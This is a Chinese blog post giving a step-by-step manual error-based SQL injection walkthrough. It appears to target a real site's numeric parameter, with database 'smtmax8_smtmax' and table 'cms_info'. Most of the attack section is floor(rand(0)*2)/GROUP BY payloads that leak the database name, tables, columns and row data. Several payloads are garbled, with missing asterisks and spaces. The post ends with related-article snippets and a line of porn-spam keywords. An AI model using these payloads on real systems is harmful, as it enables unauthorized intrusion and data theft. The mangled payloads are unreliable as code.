<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記手工SQL數字報錯型注入

    VSole2021-08-31 19:24:34

    前言

    上篇已經發了一篇回顯型SQL注入,SQL剩下的還有報錯型、盲注,今天再記一下報錯型的流程,僅做參考

    01 正文

    1.先通過引號 判斷該網站為數字型,payload直接拼接,無需引號閉合,當網站后直接構造拼接 and 0# 網站商品列表內容受到影響提示報錯,此為回報錯型注入

    payload:and 0#
    

    2.這與回顯型注入不一樣的是,不需要確定回顯位,這里直接使用floor()直接構造payload查詢即可,查詢收集數據庫信息,注意查詢出來的結果“1smtmax8_smtmax”里面的1為系統前半段查詢出的結果,與最后結果無關,省略1即可,查詢結果應為“smtmax8_smtmax” 到此,之后取數據的步驟都與回顯型相似

    payload:and (SELECT x FROM (SELECT count(),concat(floor(rand(0)2),database())x FROM information_schema.tables GROUP BY x)y)#
    

    3.獲取表數量,通過上一步得到mysql數據庫版本大于5.1,可以通過MySQL的information_schema數據庫進行數據獲取,去掉1,則數據庫表數量為6

    payload:and (SELECT x FROM (SELECT count(),concat(floor(rand(0)2),(SELECT count() FROM information_schema.tables WHERE table_schema=database()))x FROMinformation_schema.tables GROUP BY x)y)#
    

    4.取表名,通過LIMIT 0,1進行交替取值,一次過多可能會導致數據量過大的情況,一般通過取小數量字段即可正常取值

    payload:and (SELECT x FROM (SELECT count(), concat(floor(rand(0)2),(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)) x FROM information_schema.tables GROUP BY x)y)#
    

    5.獲取數據庫表字段數

    paylod:and (SELECT x FROM (SELECT count(),concat(floor(rand(0)2),(SELECT count() FROMinformation_schema.columns WHERE table_schema=database() and table_name=(SELECT table_name FROMinformation_schema.tables WHERE table_schema=database() LIMIT 1,1)))x FROM information_schema.tablesGROUP BY x)y)#
    

    6.獲取數據庫表字段名

    payload:and (SELECT x FROM (SELECT count(), concat(floor(rand(0)2),(SELECT column_name FROMinformation_schema.columns WHERE table_schema=database() and table_name='cms_info' LIMIT 0,1))x FROMinformation_schema.tables GROUP BY x)y)#
    

    7.獲取表數據,可以對敏感數據進行取值,這里但僅為演示

    payload:and (SELECT x FROM (SELECT count(),concat(floor(rand(0)2),(SELECT concat(id) FROM cms_info LIMIT0,1))x FROM information_schema.tables GROUP BY x)y)#
    

    02 說明

    以mysql數據庫,數字報錯類型進行sql手工注入流程,僅供參考,大佬們點點贊,切勿進行非法入侵活動,一切滲透測試應在網站授權的前提下進行。

    sql注入select
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    SQL注入速查表
    2022-07-29 09:22:37
    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
    id=3';對應的sqlselect * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    sql注入原理:業務端代碼從客戶端接收到惡意payload之后沒有進行過濾直接進行sql語句拼接并且執行造成sql注入本人正在拜讀一本代碼審計的書感覺非常的棒,剛剛好室友在挑戰自己,就順便整理一下知識點!看了一下也沒問題,繼續往下走,發現室友mybatis里的sql全部是使用$拼接的!
    在云SQL上獲取shell
    2022-07-18 17:00:27
    云上的關系數據庫服務,它是由 Google 保護、監控和更新的SQL、PostgreSQL 或 MySQL的服務器。托管 MySQL 實例的限制由于Cloud SQL是一項完全托管的服務,因此用戶無權訪問某些功能。在MySQL中,SUPER權限保留用于系統管理相關任務,FILE權限用于讀取/寫入運行 MySQL服務器上的文件。
    代碼審計,說白了就是白盒測試,審查代碼檢查是否有安全問題,核心就兩點:跟蹤用戶輸入數據+敏感函數參數回溯。
    未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。
    我見過的流量分析類型的題目總結: 一,ping 報文信息? 二,上傳/下載文件 三,sql注入攻擊 四,訪問特定的加密解密網站 五,后臺掃描+弱密碼爆破+菜刀 六,usb流量分析 七,WiFi無線密碼破解 八,根據一組流量包了解黑客的具體行為例題:一,ping 報文信息?如果是菜刀下載文件的流量,需要刪除分組字節流前開頭和結尾的X@Y字符,否則下載的文件會出錯。
    SQL手工注入總結
    2021-11-11 08:19:35
    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。本文主要把以前學過的知識做個總結,不會有詳細的知識解讀,類似于查詢手冊的形式,便于以后的復習與查閱,文中內容可能會存在錯誤,望師傅們斧正!
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类